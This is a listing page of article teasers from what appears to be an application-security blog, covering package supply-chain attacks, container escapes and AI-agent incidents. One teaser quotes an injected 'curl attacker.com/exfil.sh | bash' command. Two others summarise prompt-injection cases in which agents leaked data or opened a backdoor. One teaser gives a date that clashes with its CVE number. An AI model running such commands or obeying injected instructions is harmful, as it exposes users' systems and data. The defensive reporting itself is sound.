Insights & Analysis

Expert perspectives on application security, compliance, and emerging threats

All Teams1442 Security Engineers1022 Compliance Teams275 DevOps Leaders88 Developers33 CISOs21 IT Directors2

Topics:All1442 Incident913 General270 Standards94 Research87 Guides53 Deadlines17 Vendor News5 Legal2

1442 articlesSort byNewest·Trending

AI Agent Leaked Corporate Data Through a Poisoned Tool Description

Incident

Latest

4 min read

AI Agent Leaked Corporate Data Through a Poisoned Tool Description

What Happened An AI agent leaked sensitive data by following instructions embedded in a malicious tool description. The agent operated within its parameters, without breaking rules or bypassing authen

For Security EngineersRead article

NumPy's Pickle Flaw: 4 Million Downloads, Zero Patches

Incident

3 min read

NumPy's Pickle Flaw: 4 Million Downloads, Zero Patches

Understanding the Vulnerability On January 16, 2019, a vulnerability in NumPy was reported, allowing arbitrary code execution through unsafe handling of pickled objects. This flaw affects NumPy versio

For Security EngineersRead

AI Agent Shell Command Validator: A Template

Research

6 min read

AI Agent Shell Command Validator: A Template

Your AI coding agent just suggested running git commit -am fix bug . Looks innocent. But what if the agent was compromised to suggest git commit -am fix bug ; curl attacker.com/exfil.sh | bash ? Resea

For Security EngineersRead

EKS Handles 1000+ State Changes Per Second: What Changed

General

5 min read

EKS Handles 1000+ State Changes Per Second: What Changed

Amazon EKS operates hundreds of thousands of Kubernetes clusters across more than thirty AWS regions. Their recent architectural changes highlight which assumptions about Kubernetes management fail at

For DevOps LeadersRead

Newsletter

Stay Ahead of Threats

Get weekly security insights and compliance updates delivered to your inbox.

Subscribe Now

Incident

5 min read

282 iOS AI Apps Exposed Their API Keys

What Happened Researchers at Wake Forest University tested 444 iOS AI chatbot applications and found that 282 of them—63%—transmitted API keys in plaintext through network traffic. These keys granted

For Security EngineersRead

Incident

4 min read

Trojanized Pyrogram Forks on PyPI

What Happened Attackers published at least eight malicious packages to the Python Package Index (PyPI), each pretending to be a legitimate fork of Pyrogram, a popular Python framework for building Tel

For Security EngineersRead

AI Agent Cloned a Repo and Opened a Backdoor

Incident

4 min read

AI Agent Cloned a Repo and Opened a Backdoor

What Happened Mozilla s Zero Day Investigative Network (0DIN) documented an indirect prompt injection attack against Claude Code, an AI-powered coding assistant. A developer used the agent to interact

For Security EngineersRead

Incident

4 min read

61% of AI Vulnerabilities Go Unpatched

The Growing Security Debt in AI Organizations rushing to deploy AI features are creating a security backlog they cannot manage. According to Cobalt s AI and Pentesting Pulse Report 2026, AI and LLM ap

For Security EngineersRead

AI Penetration Testing: Separating the Brain from the Hands

General

5 min read

AI Penetration Testing: Separating the Brain from the Hands

If you ve ever watched a junior pentester run Nmap without understanding what they re looking for, you ve seen the problem AI-driven security tools must solve. Automation without reasoning creates noi

For Security EngineersRead

ReDoS Spike in npm: What 143% Growth Means for Your Pipeline

Incident

4 min read

ReDoS Spike in npm: What 143% Growth Means for Your Pipeline

The Issue at Hand Between 2017 and 2018, ReDoS (Regular Expression Denial of Service) vulnerabilities in npm packages surged by 143%. This wasn t an isolated incident but a widespread issue across the

For Security EngineersRead

Incident

4 min read

CVE-2019-5736: Root Escape Through runC

Understanding the Vulnerability On February 11, 2019, security researchers disclosed CVE-2019-5736 , a critical vulnerability in runC that allows a malicious container to overwrite the host s runC bin

For Security EngineersRead

RCE Exploit Hits PLM Systems: CVE-2026-12569 Teardown

Incident

4 min read

RCE Exploit Hits PLM Systems: CVE-2026-12569 Teardown

What Happened Between June 18 and June 28, 2025, attackers exploited CVE-2026-12569 in PTC s Windchill and FlexPLM platforms to achieve unauthenticated remote code execution. PTC confirmed active expl

For Compliance TeamsRead

78% of Vulnerabilities Hide in Code You Didn't Write

Incident

4 min read

78% of Vulnerabilities Hide in Code You Didn't Write

The Growing Threat of Third-Party Library Vulnerabilities Between 2022 and 2024, vulnerabilities in application libraries surged by 88%. This isn t just a story of breaches—it s about the growing tech

For Security EngineersRead

78% of Vulnerabilities Hide in Your Dependency Tree

Incident

5 min read

78% of Vulnerabilities Hide in Your Dependency Tree

The Hidden Risk in Your Dependency Tree Snyk s analysis of over one million open source projects revealed a significant supply chain issue: 78% of vulnerabilities exist in indirect dependencies—the pa

For Security EngineersRead

Hijacked npm Packages Deployed Malware Through VS Code

Incident

4 min read

Hijacked npm Packages Deployed Malware Through VS Code

On May 25, 2026, attackers uploaded compromised npm packages that exploited Visual Studio Code to deploy InvisibleFerret, a Python-based information stealer. The attack targeted developers on Windows,

For Security EngineersRead

Backdoor in 28M-Download Ruby Gem: What Failed

Incident

3 min read

Backdoor in 28M-Download Ruby Gem: What Failed

On March 26, 2019, version 3.2.0.3 of the bootstrap-sass package was published to RubyGems, containing a backdoor that enabled remote command execution on any server that installed it. With over 28 mi

For Compliance TeamsRead

Showing 625-640 of 1442 articles

PreviousPage 40 of 91Next